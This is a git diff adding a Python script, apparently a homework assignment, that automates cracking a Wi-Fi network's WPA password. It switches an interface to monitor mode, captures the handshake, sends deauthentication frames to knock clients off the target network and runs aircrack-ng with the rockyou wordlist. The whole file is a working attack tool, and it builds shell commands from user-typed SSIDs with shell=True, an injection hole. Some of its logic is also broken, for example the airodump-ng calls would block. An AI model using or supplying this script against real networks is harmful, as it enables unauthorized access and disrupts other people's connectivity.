diff --git a/hw7/claude/app.py b/hw7/claude/app.py index e69de29..95ad8ab 100644 --- a/hw7/claude/app.py +++ b/hw7/claude/app.py @@ -0,0 +1,63 @@ +import subprocess +import re + +def run_command(command): + output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT) + return output.decode('utf-8') + +def change_to_monitor_mode(interface): + run_command(f"sudo airmon-ng start {interface}") + +def change_to_managed_mode(interface): + run_command(f"sudo airmon-ng stop {interface}") + +def get_wifi_interfaces(): + output = run_command("iwconfig") + interfaces = re.findall(r"(\w+)\s+IEEE", output) + return interfaces + +def get_target_network(interface): + while True: + target_ssid = input("Enter the SSID of the target network: ") + output = run_command(f"sudo airodump-ng --essid '{target_ssid}' {interface}") + if target_ssid in output: + break + print(f"Network {target_ssid} not found. Please try again.") + return target_ssid + +def capture_handshake(target_network, interface): + print(f"Capturing handshake for network {target_network}...") + run_command(f"sudo airodump-ng --essid '{target_network}' --write capture {interface} &") + run_command(f"sudo aireplay-ng -0 1 -e '{target_network}' {interface}") + run_command("sudo killall airodump-ng") + +def crack_password(capture_file, wordlist): + print("Cracking password...") + output = run_command(f"aircrack-ng {capture_file} -w {wordlist}") + password = re.search(r"KEY FOUND! \[(.*?)\]", output).group(1) + return password + +def main(): + interfaces = get_wifi_interfaces() + if len(interfaces) == 0: + print("No WiFi interfaces found.") + return + + interface = interfaces[0] + print(f"Using interface {interface}") + + change_to_monitor_mode(interface) + + target_network = get_target_network(interface) + capture_handshake(target_network, interface) + + change_to_managed_mode(interface) + + capture_file = "capture-01.cap" + wordlist = "~/rockyou.txt" + password = crack_password(capture_file, wordlist) + + print(f"Password for network {target_network} is: {password}") + +if __name__ == "__main__": + main()